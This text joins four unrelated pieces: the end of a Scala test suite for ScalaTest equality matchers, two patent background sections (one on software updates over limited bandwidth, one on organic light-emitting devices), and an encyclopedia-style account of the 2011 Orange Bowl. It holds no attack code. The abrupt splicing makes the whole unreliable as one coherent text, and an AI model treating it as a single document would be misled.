all (List(Map("I" -> 1, "II" -> 2), Map("I" -> 1, "II" -> 2), Map("I" -> 1, "II" -> 2))) should === (Map("I" -> 1, "II" -> 2))
all (List(Map("I" -> 1, "II" -> 2), Map("I" -> 1, "II" -> 2), Map("I" -> 1, "II" -> 2))) should !== (Map("1" -> 1, "2" -> 2))
all (List(Set(1, 2, 3), Set(1, 2, 3), Set(1, 2, 3))) should === (Set(1, 2, 3))
all (List(Set(1, 2, 3), Set(1, 2, 3), Set(1, 2, 3))) should !== (Set(2, 3, 4))
all (List(List(1, 2, 3), List(1, 2, 3), List(1, 2, 3))) should === (List(1, 2, 3))
all (List(List(1, 2, 3), List(1, 2, 3), List(1, 2, 3))) should !== (List(2, 3, 4))
all (List(Array(1, 2, 3), Array(1, 2, 3), Array(1, 2, 3))) should === (Array(1, 2, 3))
all (List(Array(1, 2, 3), Array(1, 2, 3), Array(1, 2, 3))) should !== (Array(2, 3, 4))
all (List((), (),())) should === (())
// The rest should not compile
// all (List((), (),())) should !== (7)
// all (List(1, 1, 1)) should === (1L)
// all (List(1L, 1L, 1L)) should === (1)
// all (List(1, 1, 1)) should !== (1L)
// all (List(1L, 1L, 1L)) should !== (1)
// all (List("1", "1", "1")) should === (1)
// all (List(1, 1, 1)) should === ("1")
// all (List("1", "1", "1")) should !== (1)
// all (List(1, 1, 1)) should !== ("1")
// all (List(fr, fr, fr)) should === (cr)
// all (List(cr, cr, cr)) should === (fr)
// all (List(Array(1, 2, 3), Array(1, 2, 3), Array(1, 2, 3))) should === (Seq(1, 2, 3))
// all (List(Array(1, 2, 3), Array(1, 2, 3), Array(1, 2, 3))) should !== (Seq(2, 3, 4))
// all (List(Seq(1, 2, 3), Seq(1, 2, 3), Seq(1, 2, 3))) should === (Array(1, 2, 3))
// all (List(Seq(1, 2, 3), Seq(1, 2, 3), Seq(1, 2, 3))) should !== (Array(2, 3, 4))
// intercept[TestFailedException] { all (List(Map("I" -> 1, "II" -> 2), Map("I" -> 1, "II" -> 2), Map("I" -> 1, "II" -> 2))) should === (7) }
// all (List(Map("I" -> 1, "II" -> 2), Map("I" -> 1, "II" -> 2), Map("I" -> 1, "II" -> 2))) should !== (7)
// intercept[TestFailedException] { all (List(Set(1, 2, 3), Set(1, 2, 3), Set(1, 2, 3))) should === (7) }
// all (List(Set(1, 2, 3), Set(1, 2, 3), Set(1, 2, 3))) should !== (7)
}
}
it("should be overridable with TripleEquals locally when TypeCheckedTripleEquals imported") {
object O extends TypeCheckedTripleEquals
new TripleEquals {
all (List(1, 1, 1)) should === (1)
intercept[TestFailedException] { all (List(1, 1, 1)) should !== (1) }
all (List(1, 1, 1)) should === (1L)
intercept[TestFailedException] { all (List(1, 1, 1)) should !== (1L) }
all (List(1L, 1L, 1L)) should === (1)
intercept[TestFailedException] { all (List(1L, 1L, 1L)) should !== (1) }
all (List("1", "1", "1")) should !== (1)
intercept[TestFailedException] { all (List("1", "1", "1")) should === (1) }
all (List(1, 1, 1)) should !== ("1")
intercept[TestFailedException] { all (List(1, 1, 1)) should === ("1") }
all (List(super1, super1, super1)) should !== (super2)
all (List(super1, super1, super1)) should !== (sub2)
// all (List(sub2, sub2, sub2)) should !== (super1) // compiles on 2.10 but not 2.9
all (List(super1, super1, super1)) should === (super1)
all (List(super1, super1, super1)) should === (sub1)
// all (List(sub1, sub1, sub1)) should === (super1) // compiles on 2.10 but not 2.9
}
}
it("should be overridable with TripleEquals locally when TypeCheckedTripleEquals mixed in") {
object O extends TypeCheckedTripleEquals {
new TripleEquals {
all (List(1, 1, 1)) should === (1)
intercept[TestFailedException] { all (List(1, 1, 1)) should !== (1) }
all (List(1, 1, 1)) should === (1L)
intercept[TestFailedException] { all (List(1, 1, 1)) should !== (1L) }
all (List(1L, 1L, 1L)) should === (1)
intercept[TestFailedException] { all (List(1L, 1L, 1L)) should !== (1) }
all (List("1", "1", "1")) should !== (1)
intercept[TestFailedException] { all (List("1", "1", "1")) should === (1) }
all (List(1, 1, 1)) should !== ("1")
intercept[TestFailedException] { all (List(1, 1, 1)) should === ("1") }
all (List(super1, super1, super1)) should !== (super2)
all (List(super1, super1, super1)) should !== (sub2)
// all (List(sub2, sub2, sub2)) should !== (super1) // compiles on 2.10 but not 2.9
all (List(super1, super1, super1)) should === (super1)
all (List(super1, super1, super1)) should === (sub1)
// all (List(sub1, sub1, sub1)) should === (super1) // compiles on 2.10 but not 2.9
}
}
}
}
}
}
|
Installation of software updates on a computing device can oftentimes be problematic due to the bandwidth available to transmit the software update to the computing device, and the computing power of the computing device itself. Generally, when software updates are installed on computing devices, the older version of the software is first uninstalled. In other words the old version of the software is completely deleted from the computing device, prior to the new version of the software being installed.
For many computing devices, including mobile and/or wireless computing devices, this situation can be problematic due to the enormous amount of data which may then have to be transmitted to, and processed by the computing device. Indeed, in many instances, there may be a limited amount of bandwidth available for transmitting the new version of the software to the computing device. For example, in wireless communication devices, the wireless transmission of data to implement a software update may involve sending hundreds of megabytes of data over a wireless network. However many wireless networks have limited data transmission rates and the transfer of the data can be a time-consuming process. Furthermore, under some business models, the user of the wireless communication device may be charged on a per volume rate for receipt of data, for example a certain fee per megabyte of data, and the receipt of the software update can prove to be expensive.
Even in scenarios where the new software is transmitted over a non-wireless network, the bandwidth of the non-wireless network may still be limited. For example, if a computing device is receiving a software update over the PSTN via a modem, the download of the software update may take hours. This includes scenarios where a mobile computing device is receiving a software update during a synchronization process via another computing device, such as a personal computer, which is receiving the software update from a limited bandwidth network.
In addition, the computing power of a mobile computing device may be limited, and processing the uninstallation of the old software, and the installation of the new software may prove to be a time consuming process.
Furthermore, in some instances, the new software may not be compatible with the current state of the computing device. In these instances, the installation of the update may result in the computing device becoming non-functional. |
1. Field
Embodiments relate to an organic light-emitting device.
2. Description of the Related Art
Organic light-emitting devices are self-emission devices that have wide viewing angles, high contrast ratios, short response times, and excellent brightness, driving voltage, and response speed characteristics, and product multicolored images.
An organic light-emitting device may include a substrate and a first electrode disposed on the substrate, and has a structure of a hole transport region, an emission layer, an electron transport region, and a second electrode that are sequentially stacked in the stated order on the first electrode. Holes provided from the first electrode may move toward the emission layer through the hole transport region, and electrons provided from the second electrode may move toward the emission layer through the electron transport region. Carriers, such as holes and electrons, are recombined in the emission layer to produce excitons. These excitons change from an excited stated to a ground state, thereby generating light. |
2011 Orange Bowl
The 2011 Discover Orange Bowl was a postseason college football bowl game between the Virginia Tech Hokies and the Stanford Cardinal on Monday, January 3, 2011, at Sun Life Stadium in Miami Gardens, Florida. Stanford defeated Virginia Tech 40–12. The game was part of the 2010–2011 Bowl Championship Series of the 2010 NCAA Division I FBS football season and was the concluding game of the season for both teams. The game, the 77th edition of the Orange Bowl, was televised in the United States on ESPN and the broadcast was seen by an estimated 8.23 million viewers.
Virginia Tech was selected to participate in the Orange Bowl after an 11–2 regular season that culminated with a 44–33 win in the 2010 ACC Championship Game. Stanford was picked as the other half of the matchup following an 11–1 campaign that included the school's best-ever regular-season record. That performance earned the Cardinal a No. 4 ranking in the BCS Poll and the automatic bid to a BCS game that accompanies a top-4 ranking of a second school in a conference other than the champion. In the weeks before that game, media attention focused on both teams' turnarounds from historical difficulties and the performance of Stanford quarterback Andrew Luck. The game also was the first Orange Bowl not sponsored by FedEx in 21 years, ending the longest-running title sponsorship deal among the major bowls.
The game kicked off at 8:39 pm in warm weather, and Stanford scored first, a touchdown, with its third offensive possession. Virginia Tech briefly took the lead with a safety followed by a touchdown of its own, but Stanford restored a 13–12 advantage before halftime. In the second half, Stanford pulled away from Virginia Tech as it scored 13 points in the third quarter and 14 in the fourth while holding the Hokies scoreless.
In recognition of his performance during the game, Stanford quarterback Andrew Luck was named the game's most valuable player. He set a Stanford bowl-game record for touchdowns, and threw three of those scores to tight end Coby Fleener, who set a Stanford and Orange Bowl record with 173 receiving yards. Both teams made coaching changes after the game, as Stanford head coach Jim Harbaugh left the team to coach the National Football League's San Francisco 49ers and Virginia Tech replaced several assistant coaches. Players from each team were selected in the 2011 NFL Draft.
Team selection
The Orange Bowl is one of five Bowl Championship Series (BCS) bowl games that have been played at the conclusion of every college football season since 2006. As defined by contract, the bowl matches the champion of the Atlantic Coast Conference (ACC) against an at-large pick chosen by a special committee. On December 4, 2010, the Virginia Tech Hokies defeated the Florida State Seminoles in the 2010 ACC Championship Game, thus winning an automatic bid to the 2011 Orange Bowl.
The at-large spot in the Orange Bowl was filled via a round-robin selection procedure defined by the other Bowl Championship series games (the Sugar, Fiesta, and Rose bowls) and the automatic bids. If a game's automatic bid team is selected for the BCS National Championship Game, it is allowed to select a replacement team. In the 2010 season, teams otherwise designated for the Rose Bowl and Sugar Bowl were picked for the national championship game. Following the two compensatory selections are the at-large picks. The order of at-large selections rotates annually among the BCS bowls.
For the January 2011 games, the Sugar Bowl selected first, followed by the Orange Bowl and Fiesta Bowl. The Sugar Bowl picked Ohio State, which left the Orange Bowl to decide between two teams contractually bound to appear in a BCS bowl game. These were Stanford, which was guaranteed a BCS bid by its No. 4 national ranking, and Connecticut, champion of the Big East Conference. Favoring Stanford's potential to draw a large television audience, the Orange Bowl selected the Cardinal, leaving Connecticut to the Fiesta Bowl.
Stanford
The Stanford Cardinal began the 2010 season after going 8–5 in 2009 under freshman quarterback Andrew Luck. The 2009 season saw the Cardinal defeat eighth-ranked Oregon and No. 9 USC en route to breaking a seven-year bowl game drought with an appearance in the 2009 Sun Bowl against Oklahoma. Stanford changed several position coaches and its defensive strategy in the offseason, and though the Cardinal returned 17 of 24 possible players from the previous year's starting lineup, few believed the Cardinal would be among the best teams in the country. In the annual preseason poll of media members covering the Pacific-10, Stanford was picked to finish fourth in the 10-team conference. Nationally, Stanford appeared in the "also receiving votes" categories of the preseason polls. In the AP Poll, the team was 27th; in the coaches' poll, the Cardinal was 32nd.
The Cardinal opened the season by defeating Football Bowl Subdivision team Sacramento State, then beat conference opponent UCLA in the first Pacific-10 game of the season. The win over Sacramento State pushed Stanford to No. 25 nationally, and the win over UCLA raised Stanford to No. 19, the rank it held when it defeated Atlantic Coast Conference foe Wake Forest 68–24 on September 18. The following week, Stanford defeated Notre Dame as the nation's No. 16 team, and the win raised the Cardinal to No. 9.
On October 2, No. 9 Stanford played No. 4 Oregon. The game was touted as a matchup between two of the top offenses in college football and was nationally televised. Stanford led 21–3 after the first quarter and 31–24 at halftime, but the Cardinal allowed 28 unanswered points in the second half and lost to Oregon, 52–31. Oregon later went on to play in the BCS National Championship game, and the defeat was Stanford's only one of the season. The loss dropped Stanford to No. 16 in the polls, but the team rebounded the following week to defeat USC on a last-second field goal, 37–35.
The victory over USC began a winning streak, the best in Stanford football history since the time of the Korean War. The week after beating USC, Stanford defeated Washington State, moving to a 6–1 record for the first time since 1970. The Cardinal rose to No. 13 nationally and defeated the University of Washington on October 30. Against No. 15 Arizona, Stanford matched its previous season's win total. On November 13, Stanford defeated Arizona State in a closely fought 17–13 win that brought the Cardinal football team to 9–1 and its best record since 1951. The following week, Stanford beat traditional rival California in The Big Game by a 48–14 score. It was the largest margin of victory in the rivalry since 1930. Stanford's final regular-season game was against the Oregon State Beavers, and Stanford won the contest convincingly, 38–0. The No. 4 and No. 5 nationally ranked teams had lost earlier the same day, lifting Stanford in the polls and in position for a Bowl Championship Series game berth.
Virginia Tech
The Virginia Tech Hokies entered the 2010 season after a 2009 campaign that saw the team finish 10–3, including a season-ending win in the 2009 Chick-fil-A Bowl against the Tennessee Volunteers. Because of that season-ending victory and the Hokies' general good performance during the 2009 season, Virginia Tech was ranked No. 10 in preseason national polling. The Hokies' first game of the season was a nationally televised contest against then-No. 3 Boise State at FedExField near Washington, D.C.. Because the game was the first of the season to feature two top-10 teams, it received large amounts of media coverage. During the game, Virginia Tech fell behind 17–0 in the first quarter, but rallied to take a 21–20 lead early in the third quarter. The two teams traded the lead, alternating scoring drives until Boise State scored a touchdown with 1:06 remaining. Virginia Tech was unable to reply one final time, and Boise State earned a 33–30 victory.
The close loss discouraged the Virginia Tech players, who then had only five days to prepare for their next opponent, lightly regarded James Madison University. At Lane Stadium, Virginia Tech's home field, James Madison upset the heavily favored Hokies, 21–16. The loss was only the second time in college football history that a team ranked nationally was defeated by a team from the NCAA Football Championship Subdivision. In the wake of the loss, Virginia Tech fell from No. 13 to out of the polls entirely.
Following the loss, seniors on the football team held a players-only meeting in an effort to rally the team. Players later recalled that meeting as the turning point in the team's season. The next week, Virginia Tech earned its first win of the season, a 49–27 victory over East Carolina in Lane Stadium. The Hokies followed that by traveling to Boston College for a 19–0 win, their first shutout since 2006.
The two victories were the start of a winning streak that saw the Hokies complete the regular season without another loss. Following Boston College, they defeated No. 23 NC State in its home stadium, 41–30. They defeated nonconference opponent Central Michigan, then beat conference opponent Wake Forest and re-entered the polls at No. 25. Their position in the polls climbed with each opponent they defeated. They beat Duke as the No. 25 team, Georgia Tech as the No. 23 team, North Carolina as the No. 20 team and No. 23 Miami as the No. 16 team. The Miami victory clinched Tech the division championship and a slot in the ACC championship game, but the Hokies still won their final previously scheduled game, the annual Commonwealth Cup rivalry against Virginia. In the ACC Championship Game, Virginia Tech defeated Florida State 44–33, clinching the ACC's automatic bid to the Orange Bowl.
Sponsor change
In 2008, sports channel ESPN won the right to broadcast Bowl Championship Series games between 2011 and 2014. In compensation, it agreed to pay the BCS $125 million per year, more than a competing bid from Fox ($100 million), which had been paying $82.5 million per year for the contract that ended in 2010. To balance the higher cost of broadcasting the games, ESPN demanded more money for title sponsorship of each game. Shipping company FedEx, which had become the Orange Bowl's title sponsor in 1990 and was the longest continuous sponsor of any bowl game, balked at ESPN's increased demands—about $20 million per year and required advertising outside the Orange Bowl—and ended its sponsorship.
Citi, the title sponsor of the Rose Bowl, likewise ended its sponsorship over the increased cost. ESPN immediately began pursuing an alternative title sponsor for each game. Candy manufacturer The Hershey Company was an early possibility for the Orange Bowl, and the company considered titling the game the Reese's Orange Bowl, but negotiations fell through. In August, ESPN reached a deal with credit card company Discover Financial to make the game the Discover Orange Bowl through 2014.
Pregame buildup
Pregame media coverage of the 2011 Orange Bowl focused on the manner in which the two teams involved had reversed their fortunes during the 2010 college football season. Stanford had its longest winning streak since 1991 its most wins in history, and was four years removed from a one-win season, while Virginia Tech became the first team in college football history to win 11 consecutive games in a season after losing its first two. The two teams had never played each other, but they shared a common 2010 opponent, Wake Forest. Before the Orange Bowl, Wake Forest head coach Jim Grobe said he didn't see much difference in quality. Another point of conversation was the poor performance of the ACC in nonconference games and Virginia Tech's poor past performance against teams ranked in the top 5. The Hokies had won just one of 27 games against teams in that category. Partially because of this factor, spread bettors favored Stanford by three points when the first odds were released December 10, a margin that various organizations either kept constant or raised to 3.5 points by the day of the game. It was the first time all season the Hokies were point spread underdogs.
Two nights before the game, Virginia Tech running back David Wilson and safety Antone Exum missed a 1 am curfew. As punishment, Virginia Tech head coach Frank Beamer suspended the two players for the first quarter of the Orange Bowl.
Ticket sales and tourism
Virginia Tech and Stanford each were allotted 17,500 tickets to sell through their school box offices, but each school had problems selling that amount. For Stanford, whose primary campus is in California, the distance fans were required to travel was a major obstacle. Stanford head coach Jim Harbaugh said, "It will probably be more Hokie fans there than Stanford fans. That far away from home it probably could be a hostile environment for us."
Orange Bowl organizers predicted that Virginia Tech fans, who were located closer to the site of the game, would be attracted by its proximity and the warm weather offered by southern Florida. Delta Air Lines added more flights from Virginia to Florida in anticipation. To entice more fans to attend, tourism officials planned to step up their advertising in order to boost the economic impact of the event, estimated in 2009 at $200 million. The advertising campaign was a difficult sell because the game was scheduled for the first Monday after New Year's Day, the date when most American workers return to their jobs after the New Year.
Partially because of this fact, ticket sales were slow. By December 23, Tech had sold just 6,500 of its 17,500-seat allotment, while Stanford fans had purchased 9,000 tickets from their allotment. These figures increased slightly as the game day approached, but the schools were hampered by several factors. The tickets assigned to the schools were in less-desirable seats, and many seats were available far more cheaply in the secondary market. In one example, an upper-deck ticket sold by Virginia Tech cost $65, while a similar ticket was available for $12 through an online ticket seller. The two schools were forced to purchase the remaining unsold tickets, costing each several hundred thousand dollars.
Stanford offense
Stanford's offense was commanded by redshirt sophomore quarterback Andrew Luck, who completed 70 percent of his pass attempts, gaining 3,051 yards, 28 touchdowns, and 7 interceptions. The touchdown mark was a Stanford single-season record. He also gained 438 yards running the ball, setting a Stanford record for rushing by a quarterback, and his combined rushing and passing total set a record at Stanford for total offense. On December 13, Luck finished second in the voting for the Heisman Trophy, the annual award given to the best player in college football that season. NCAA rules allow a player three years removed from high school to enter the NFL Draft, and even though he was only a sophomore in 2010, he met the three-year standard at the conclusion of the season. Before the Orange Bowl, media and fans speculated as to Luck's likely choice.
Luck distributed his passes relatively evenly among his receivers. Doug Baldwin was the team's leading receiver, with 56 receptions for 824 yards and 9 touchdowns during the regular season. Wide receiver and kick returner Chris Owusu, who played in only six games because of a knee injury, underwent arthroscopic surgery and was expected to play in the Orange Bowl. He was the team's fourth-leading receiver in terms of yardage, catching 24 passes for 394 yards and 3 touchdowns.
Stanford's running game was led statistically by sophomore running back Stepfan Taylor, who garnered 1,023 rushing yards and 15 touchdowns during the regular season. Before the game, Cardinal head coach Jim Harbaugh said he planned to give three other running backs—Tyler Gaffney, Jeremy Stewart, and Anthony Wilkerson—opportunities to carry the ball when Taylor was taken out of the game.
Virginia Tech's success at blocking kicks during the 24 years of head coach Frank Beamer's tenure caused Stanford to spend extra time in pregame practices on kick protection.
Because of his success in guiding Stanford's offense, head coach Harbaugh was mentioned as a candidate for the vacant head coaching positions of other universities and National Football League teams. In the leadup to the Orange Bowl, however, Harbaugh refused to comment on any of the possibilities and said he wanted to focus on guiding his team to victory. Stanford players echoed that line. "We've invested too much to let something like that distract us," linebacker Shayne Skov said December 30.
Virginia Tech offense
Virginia Tech quarterback Tyrod Taylor was the Atlantic Coast Conference Player of the Year and its championship game MVP. According to pregame media coverage, he presented a contrasting style to Stanford's Luck. Taylor gained threw for 2,521 yards and set a school record with 23 passing touchdowns, but was praised primarily for his physical mobility and ability to avoid defensive pressure, something Luck lacked. Taylor's presence was a contributing factor to Tech's offensive success in 2010. Virginia Tech's offense was the most productive since offensive coordinator Bryan Stinespring joined the team in 2001. It set team records for points and total yards, and led the ACC in scoring and red-zone efficiency.
In addition to Taylor's success passing the ball, the Hokies also had a successful running offense. Running back Ryan Williams, who was limited for much of the season because of injury, had 473 rushing yards. Fellow running back Darren Evans, who missed the 2008 season because of injury, gained 817 yards and 11 touchdowns. Sophomore running back David Wilson gained 616 yards. Combined with Taylor's rushing total, Virginia Tech gained 2,543 yards and 30 touchdowns on the ground.
Stanford defense
In 2010, Stanford's defense improved under new defensive coordinator Vic Fangio, who was given credit for much of the team's success in that department. At the end of the regular season, Stanford was first in the Pac-10 and 11th of 120 teams nationally in scoring defense (allowing an average of 17.83 points per game) and 24th in total defense (permitting 326 yards per game). In 2009, Stanford was 69th in scoring defense (26.5) and 90th in total defense (403 yards per game). A prominent player on Stanford's defense was Owen Marecic, the only person in major league college football that season to play both offense and defense. On defense, Marecic accrued 45 tackles and 2 interceptions as a linebacker; on offense, he gained 117 yards and 4 touchdowns as the team's fullback.
Stanford's leading tackler was linebacker Shayne Skov, who accumulated 72 tackles despite missing the first two games of the season. Before the game, Skov said one of Stanford's priorities would be to contain the mobility of Tech quarterback Tyrod Taylor. "We need to try to keep him in the pocket and (apply) pressure the same way we have all year," Skov said.
Virginia Tech defense
Virginia Tech's defense was led by coordinator Bud Foster, who was named a candidate in several teams' searches for a new head coach, but decided to remain at Virginia Tech as the buildup to the Orange Bowl continued. Heading into the game, Tech's defense ranked 38th nationally in total yards allowed, its second-worst performance since 1993. Tech's run defense was 58th, permitting an average 148.9 rushing yards per game. On the positive side of things, Tech's defense had the third-most interceptions (22) in the country, and its scoring defense was 16th (19.1 points per game).
Tech's top performer on defense was sophomore cornerback Jayron Hosley, who had eight interceptions during the season—tied for most in the country—and was named a first-team Walter Camp All-American, a second-team Associated Press All-American, and a second-team Sports Illustrated All-American for that performance. Other top performers included linebackers Bruce Taylor and Stephen Friday, who had 15.5 and 15 tackles for loss, respectively.
The Hokies played the Orange Bowl without starting linebacker Lyndell Gibson, who fractured his shoulder in the second quarter of the ACC Championship Game. Gibson was fourth on the team in tackles with 66. Replacing Gibson was redshirt freshman Tariq Edwards, who played only a few times before the Orange Bowl. The Hokies also returned a player from injury for the Orange Bowl. Linebacker Barquell Rivers, who had been predicted to be Tech's starting middle linebacker, suffered a torn quadriceps tendon in offseason workouts, causing him to miss every game. Heading into the Orange Bowl, coaches were optimistic that he had healed enough to be able to play.
Game summary
The 2011 Orange Bowl kicked off at 8:39 pm EST on January 3, 2011 in Sun Life Stadium, Miami Gardens, Florida. Bowl officials said 65,463 tickets were sold for the game, but many went unused, and that official figure was more than 9,000 below stadium capacity. The game was televised on ESPN, and the announcers were Mike Tirico, Ron Jaworski, Jon Gruden and Michele Tafoya. An estimated 8.23 million viewers watched the broadcast, earning it a Nielsen rating of 7.1. That figure was the second-lowest mark to date for a BCS game. For contributing teams to the Orange Bowl, the Atlantic Coast Conference and Pacific-10 each received large amounts of money to be divided among their members. Because the Pac-10 had two BCS teams, that conference received $27.2 million from the BCS. The ACC, which had only Virginia Tech in a BCS bowl, received $21.2 million. In the ACC, Virginia Tech received a somewhat larger share of the money as a reward for winning the conference: All other ACC teams received $1.1 million; Tech got $1.7 million. Stanford received a similar amount, but the extra money was offset by the cost of sending 500 players, coaches, and staff to Miami.
First quarter
Stanford returned the game's opening kickoff to its 24-yard line, where the Cardinal offense began the game's first possession. On the game's first play, Stanford quarterback Andrew Luck ran 11 yards through the Virginia Tech defense for a first down. The success was short-lived, however, as Stanford's next three plays did not gain enough ground for another first down, and the team punted from its 37-yard line. Virginia Tech's first possession was no more successful than Stanford's had been. The Hokies' offense entered the game at its 31-yard line after the punt, but went three-and-out after failing to gain a first down.
Tech punted, and Stanford's offense returned to the field. The two teams traded possessions one more time, with Stanford turning the ball over on downs after a failed fourth-down conversion attempt, and Virginia Tech returning the ball with another punt. Following the kick, Stanford's offense began work from its 14-yard line with 8:08 remaining in the quarter. Two plays gained five yards, then Luck completed a 21-yard pass to wide receiver Doug Baldwin for just the second first down of the game. On the next play, Stanford running back Jeremy Stewart broke free of the Virginia Tech defense and ran down the field 60 yards for a touchdown. The score and subsequent extra point gave Stanford a 7–0 lead with 6:16 remaining in the quarter.
Stanford's post-score kickoff was downed for a touchback, and Virginia Tech's offense began from its 20-yard line. The Hokies gained their initial first down of the game when quarterback Tyrod Taylor completed a 19-yard pass to wide receiver Danny Coale on the drive's third play, but Tech was unable to gain another. Tech punted from its 43-yard line, and the kick was downed at the Stanford 5-yard line, where the Cardinal offense started work. Two rushing plays were stopped for no gain, then Luck attempted a passing play on third down. Because the line of scrimmage was so close to the Stanford goal line, Luck had to move into his own end zone to attempt the pass. Under pressure from the Virginia Tech defense, he threw to Derek Hall, who caught the ball in the end zone and was tackled before getting out. The result of the play was a safety, a 2-point defensive score for Virginia Tech.
Trailing 7–2 with 59 seconds remaining in the quarter, Virginia Tech's offense received the ball at its 25-yard line following Stanford's post-safety free kick. On the first play of the subsequent drive, Taylor ran through the Stanford defense for 22 yards and a first down at the Tech 47-yard line. The second play of the drive, a 4-yard run by running back Darren Evans, pushed Tech into Stanford's side of the field for the first time in the game, and was the final play of the quarter. With three quarters remaining, Stanford led Virginia Tech, 7–2.
Second quarter
The second quarter began with Virginia Tech in possession of the ball and facing second down on Stanford's 49-yard line. On the first play of the quarter, Taylor completed a 10-yard throw to wide receiver Marcus Davis for a first down. Tech's drive continued down the field, with running back Darren Evans receiving the ball on the majority of the plays. A 5-yard false start penalty against Virginia Tech was offset by a pass interference penalty two plays later by Stanford. Tech penetrated to the Stanford 10-yard line, but was stopped for no gain, then a loss, on two consecutive running plays. On third down, Taylor was pressured by the Stanford defense, scrambled out of the pocket, and threw an 11-yard touchdown pass to running back David Wilson an instant before Taylor stepped out of bounds. The score and subsequent extra point gave Tech its only lead of the game, 9–7, with 10:22 remaining before halftime.
Virginia Tech's post-touchdown kickoff was returned to the Stanford 21-yard line, where the Cardinal offense began its first drive of the second quarter. On the first play of the drive, Luck completed a 14-yard pass to tight end Zach Ertz for a first down. Three consecutive short-yardage plays gained another first down, then running back Jeremy Stewart escaped the Virginia Tech defense for a 24-yard gain, pushing the Cardinal into Virginia Tech territory. Three plays later, Luck again threw a long pass to Ertz, this time a 25-yard toss for Stanford's second touchdown of the game. The subsequent extra point kick was blocked by Virginia Tech, but the touchdown's six points were enough for Stanford to regain the lead, 13–9.
Virginia Tech began its first full drive of the second quarter from its 25-yard line, but the Hokies went three-and-out. Stanford's offense, beginning from its 33-yard line after the Tech punt, had its drive cut short when Luck threw an interception to Virginia Tech's Jayron Hosley at the Tech 46-yard line. The Hokies advanced to the Stanford 30-yard line, but turned the ball over on downs after failing to gain one yard on fourth down. Stanford went three-and-out after the Hokies' turnover and punted. Tech's offense returned to the field at its 20-yard line with 49 seconds remaining until halftime. Using a hurry-up offense and strategically calling timeouts to stop the game clock, Tech advanced the ball down the field. Taylor rushed for 14 yards, threw a 32-yard pass, and the Hokies were helped by a 10-yard holding penalty against Stanford. They advanced to the Stanford 20-yard line where, with time running out, they sent in kicker Chris Hazley. He completed a 37-yard field goal in the final play from scrimmage in the first half, making the game a one-point affair, 13–12.
Halftime
For the game's halftime show, the Orange Bowl hosted American alternative rock band Goo Goo Dolls. Reviews criticized the performance for awkward staging and brevity, as the group performed only two songs. Middle school and high school dance squads also participated in the halftime show, performing on the field while the Goo Goo Dolls played. Pregame media coverage erroneously reported that Stanford's marching band, which had been scheduled to perform, was banned from the field. The band had never been scheduled to perform at halftime; each team's marching band was allotted a six-minute pregame performance.
Third quarter
Because Stanford received the ball to begin the game, Virginia Tech received it to begin the second half. After starting from their 21-yard line, the Hokies went three-and-out. Following a Tech punt, Stanford's first drive of the second half began at its 41-yard line. Two plays gained 13 yards and a first down, then Stanford began battering Virginia Tech with its passing offense. Luck threw four consecutive passes: the first was incomplete, but the next three went for 10, 17, and 18 yards, respectively. This gave Stanford a first down at the Tech one-yard line. Three plays later, Owen Marecic crossed the goal line on a running play. The subsequent extra point was missed, and Stanford extended its lead to 19–12 with 8:47 remaining.
Virginia Tech's second drive of the half began at its 41-yard line after a 31-yard kickoff return by Wilson. On the first play of the drive, Taylor was sacked for a 13-yard loss. He made good the lost yardage on the next play, however, completing a 42-yard throw to Danny Coale. From the Stanford 40-yard line, Taylor gained five yards on a running play, then attempted a long pass downfield. The throw was intercepted by Stanford's Delano Howell at the Cardinal 3-yard line, returning Luck and the Stanford offense to the field. Luck needed only two plays to drive the length of the field and score a touchdown. A 56-yard run by Stepfan Taylor was followed by a 41-yard touchdown pass to Coby Fleener, and the following extra point kick was good, making the score 26–12 with 5:49 remaining.
Virginia Tech's third drive of the quarter started from its 23-yard line. The first two plays of the drive were stopped for negative gain, then Taylor completed a 17-yard throw to Jarret Boykin for a first down. Tech couldn't gain another first down, however, and punted to Stanford, which started from its 13-yard line. As in Virginia Tech's previous drive, the Stanford offense began with a play that lost yardage, but it made up the failure with a running play that gained six yards and a passing play from Luck to Fleener for a first down at the Stanford 32-yard line. On the quarter's final play, running back Tyler Gaffney gained seven yards. With one quarter remaining, Stanford led 26–12.
Fourth quarter
The fourth quarter began with Stanford in possession of the ball and facing second down and three from its 39-yard line. Two plays gained the Cardinal a first down, then Stanford committed a false-start penalty that pushed its offense back five yards. Two plays later, however, Luck completed a 58-yard pass to Fleener, who made up the lost yardage and far more as he raced down the field for a touchdown. The following extra point granted Stanford a 33–12 lead with 12:28 remaining.
Following Stanford's post-touchdown kickoff, Virginia Tech's offense took the field at its 25-yard line and embarked upon one of its longest drives of the game in terms of the number of plays. In the first seven plays of the drive, quarterback Taylor was the key component. He threw six passes, completing 3 for 39 yards, and ran once, for no gain. On the eighth play of the drive, running back Ryan Williams gained one yard, then committed a 15-yard personal foul penalty. Tech's drive faltered after the penalty: Taylor threw an incomplete pass, then was sacked for a 16-yard loss, and the Hokies punted to the Stanford 28-yard line.
As it had in the third quarter, Stanford's offense scored quickly. In only three plays, the Cardinal advanced 72 yards. A 34-yard run by Stepfan Taylor was followed by one stopped for no gain, then Luck completed a 38-yard throw to Fleener for Stanford's second touchdown of the quarter. The score and extra point improved Stanford's lead to 40–12 with 6:05 remaining in the game. Tech's subsequent drive went three-and-out after Tyrod Taylor was sacked twice, and Stanford got the ball again at its 46-yard line.
With only 4:25 remaining and a lead well in hand, Stanford began running down the clock by executing running plays, which keep the game clock running as long as the ball carrier is downed in the field of play. Three rushes gained Stanford 16 yards, but the effectiveness of this strategy was undermined by a 15-yard personal foul penalty against Stanford that prevented the Cardinal from gaining a first down. Stanford also accepted a delay of game penalty in order to squeeze as much time as possible from the clock before punting back to Virginia Tech. The final drive of the game began from the Tech 11-yard line with 2:10 remaining, and quarterback Taylor controlled the ball on all of its five plays. Taylor completed a five-yard pass to Coale, then ran for 18 yards and a first down. He was then sacked for a 15-yard loss, but gained much of that back with an 11-yard run. On the game's final play, Taylor completed a 17-yard first-down pass to Wilson, who was tackled as the last second ticked off the clock and Stanford clinched a 40–12 victory.
Scoring summary
Statistical summary
For his game-winning performance, Stanford quarterback Andrew Luck was named the game's Most Valuable Player. He completed 18 of his 23 pass attempts for 287 yards and 4 touchdowns. The four touchdowns was a Stanford bowl-game record, and three of Luck's touchdowns went to tight end Coby Fleener, who set a Stanford and Orange Bowl record with 173 receiving yards and tied a record with the three touchdown catches. In postgame analysis, Fleener's performance was touted as the factor "that turned a close game into a rout".
